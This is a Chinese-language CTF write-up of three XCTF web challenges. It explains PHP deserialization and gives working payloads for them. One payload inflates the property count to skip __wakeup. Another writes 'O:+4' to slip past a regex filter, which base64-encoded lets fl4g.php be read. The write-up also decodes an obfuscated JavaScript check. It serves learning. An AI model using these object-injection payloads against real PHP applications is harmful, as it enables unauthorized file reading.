unserialize3(来自xctf web进阶区)
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
原理:
PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。
当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
本题_wakeup会执行exit(),所以要绕过
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
var_dump(serialize(new xctf()));
//string(36) "O:4:"xctf":1:{s:4:"flag";s:3:"111";}"
?>
将属性值个数改为大于1的数来绕过_wakeup
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
NaNNaNNaNNaN-Batman(来自xctf web进阶区)
NaNNaNNaNNaN-Batman题目链接
下载附件含有乱码,发现是eval(),把eval()改成alert弹出代码复制一下
function $() {
var e = document.getElementById("c").value;
if (e.length == 16)
if (e.match(/^be0f23/) != null)
if (e.match(/233ac/) != null)
if (e.match(/e98aa$/) != null)
if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
直接把脚本放在console里面执行完成
Web_php_unserialize(来自xctf web进阶区)
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
原理:进行代码审计,发现为反序列,如果一个类定义了wakup()和destruct(),则该类的实例被反序列化时,会自动调用wakeup(), 生命周期结束时,则调用desturct()。
主要是三部分内容
1.最后需要用base64编码
2.需要绕过_wakeup函数
3.需要绕过正则表达式
先serialize(new Demo(‘fl4g.php’))
得到string(48) “O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”
绕过_wakeup把1换成2,绕过正则表达式把4换成+4,最后转base64编码
$a= new Demo('fl4g.php');
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);
?>
这里因为file被private修饰,所以类名前后各有一个空白字符,直接复制无法复制,会出现错误,所以直接在脚本里面搞
总结
还有两道题,不过没什么新知识点就没法,今天主要学到了php序列化和反序列化,以及正则表达式相关知识,也学到了不少函数。